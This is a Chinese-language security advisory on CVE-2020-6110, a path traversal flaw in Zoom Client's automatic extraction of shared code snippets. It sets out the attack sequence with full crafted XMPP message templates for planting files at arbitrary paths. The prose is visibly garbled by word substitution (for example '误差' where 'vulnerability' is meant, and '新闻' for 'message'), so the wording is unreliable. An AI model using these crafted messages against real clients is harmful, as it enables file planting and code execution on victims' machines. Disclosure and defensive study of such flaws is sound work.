CVE-2020-6110 | ZOOM客户端远程代码执行误差通告
宣布时间 2020-06-050x00 误差概述
|
CVE ID |
CVE-2020-6110 |
时 间 |
2020-06-04 |
|
类 型 |
RCE |
等 级 |
高危 |
|
远程使用 |
是 |
影响规模 |
Zoom Client 4.6.10、4.6.11 |
0x01 误差详情
Zoom Client是美国Zoom公司的一款支持多种平台的视频聚会客户端应用程序。
CVE-2020-6110是Zoom Client版本4.6.10处置惩罚包括共享代码段在内的新闻的方法中保存一个可使用的路径遍历误差。特制的谈天新闻可能会导致植入恣意二进制文件,可能会滥用该二进制文件来实现恣意代码执行。攻击者需要向目的用户或组发送特制新闻,需要目的用户的交互才华触发此误差。
实质上,此部分代码是通过天生一个特殊的zip归档文件来共享的,该归档文件包括几个支持文件(用于纯文本的无问题代码):
Untitled.html
Untitled.properties
Untitled.rtf
Untitled.tx*
最后一个包括源自己,富文本文件提供语法高亮显示,而属性文件形貌程序包。
当一个用户与另一个用户共享一个代码片断时,便会建设该zip文件,并通过/zoomfile/upload向的请求将其上传到Zoom的存储服务器file.zoom.us。同时Zoom客户端获取文件工具ID,然后将XMPP新闻发送给收件人。XMPP新闻看起来像:
<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">
<thread>gloox{THREADID}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<sns>
<format>%1$@ sent you a code snippet</format>
<args>
<arg>S E</arg>
</args>
</sns>
<zmext expire_t="1650165620000" t="1587093620200">
<obj k="key" id="__object_id" s="166" nm="Untitled1.zip" f="14" st="0"/>
<from n="S E" e="emailaddress" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
<msg_feature>1024</msg_feature>
</zmext>
<body>S E has sent you a code snippet</body>
</message>
工具ID属性唯一地标识包括已删除形貌的文件。当XMPP客户端收到上述新闻时,它将继续从Zoom的数据存储中提取指定的文件,并将其以唯一的文件名生涯到磁盘。在Windows客户端上,这些文件存储在中%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\<random uid dir>。通过Zoom按期共享文件的情形也是云云。可是,在共享代码段的情形下,Zoom将继续自动解压缩下载的zip文件,以预览和显示该代码段。此误差的焦点是Zoom的zip文件提取功效在提取zip文件之前不会对其举行验证。
这使潜在的攻击者无需用户干预即可通过自动提取的zip文件将恣意二进制文件植入目的盘算机上。别的路径遍历问题使特制的zip文件可以在预期的随机天生目录之外写入文件。例如,现实上将zip压缩文件中的文件路径为“ .. \ test \ another \ test.exe”的文件提取到文件中,%APPDATA%\Roaming\Zoom\data\xmpp_user\CodeSnippet\test\another\text.exe而不是包括在具有随机UID的目录中。自己就可能在使用另一个误差时被滥用。
别的,有关Zoom处置惩罚共享文件的方法的一个怪癖使此误差可通过目的用户举行进一步处置惩罚。与Zoom客户端共享通例文件后,他们需要在会见文件之前单击文件并选择生涯位置。由于Zoom客户端会跟踪下载的文件,因此将此事实与上述问题团结在一起可能导致恣意文件写入恣意路径。在这种情形下,攻击者首先会与目的用户共享一个恶意的zip文件,并带有文件名,例如“ interesting_image.jpeg”。目的可能会单击该文件并将其生涯在某个位置(例如,在其桌面上)。用户将无法直接以zip或jpeg名堂翻开文件。另一方面,Zoom客户端会跟踪此文件并生涯在指定路径中。然后,攻击者将代码片断共享新闻发送给目的,但在目的服务器中指定相同的文件ID和详细信息。obj标签。Zoom Client应用程序将看到该文件已经下载,并且将不思量.jpeg扩展名将其解压缩。通过滥用目录遍历误差,恶意的zip文件可以将文件提取到c\Users\<username>\任何子目录中。
在这种情形下,攻击者将一个文件上传到file.zoom.us名为的服务器interesting_image.jpeg。然后,攻击者发送如下新闻:
<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">
<thread>gloox{THREADID}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<sns>
<format>%1$@ sent you a file</format>
<args>
<arg>S E</arg>
</args>
</sns>
<zmext expire_t="1650165620000" t="1587093620200">
<obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="5" st="0"/>
<from n="S E" e="emailaddress" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
<msg_feature>8</msg_feature>
</zmext>
<body>S E has sent you a code snippet</body>
</message>
客户端生涯文件,然后攻击者发送另一条内容险些相同的新闻:
<message from="source_xmpp_username@xmpp.zoom.us/ZoomChat_pc" to="destination_xmpp_username@xmpp.zoom.us" id="{170029-35B3-4748-9CB0-42E42FF20DE5}" type="chat">
<thread>gloox{THREADID}</thread>
<active xmlns="http://jabber.org/protocol/chatstates"/>
<sns>
<format>%1$@ sent you a file</format>
<args>
<arg>S E</arg>
</args>
</sns>
<zmext expire_t="1650165620000" t="1587093620200">
<obj k="key" id="__object_id_of_interesting_image.jpeg" s="166" nm="interesting_image.jpeg" f="14" st="0"/>
<from n="S E" e="emailaddress" res="ZoomChat_pc"/>
<to/>
<visible>true</visible>
<msg_feature>1024</msg_feature>
</zmext>
<body>S E has sent you a code snippet</body>
</message>
以上新闻中的更改位于tag的f属性中obj。它指定14指示代码段功效。同样将msg_feature调解为1024与共享代码段相同。obj标记内的文件ID和名称坚持稳固,导致Zoom客户端不会将文件重新下载到“ CodeSnippets”目录中,而是使用先宿世存的路径。
需要注重的是,纵然目的用户在意识到虚伪的情形下删除了已生涯的文件,Zoom客户端也会重新下载该文件,但在收到最终新闻时仍会遵照原始的生涯路径。同样恶意zip文件可以包括带有目录遍历路径的恶意文件的多个副本,这些目录可以用于容纳目的用户可能生涯文件的恣意位置。
总之,可以在上述两种情形下滥用此误差。首先,若是没有用户交互,就可以滥用它,纵然在可能使用其他误差的受限路径上,在目的系统上植入恣意二进制文件。其次,通过用户交互,将二进制文件植入险些恣意路径,并有可能笼罩主要文件并导致恣意代码执行。
0x02 处置惩罚建议
现在厂商已宣布4.6.12版本以修复误差,下载地址:
https://zoom.us/
0x03 相关新闻
https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html
0x04 参考链接
https://talosintelligence.com/vulnerability_reports/TALOS-2020-1056
0x05 时间线
2020-04-16 研究职员披露
2020-06-04 VSRC宣布误差通告


京公网安备11010802024551号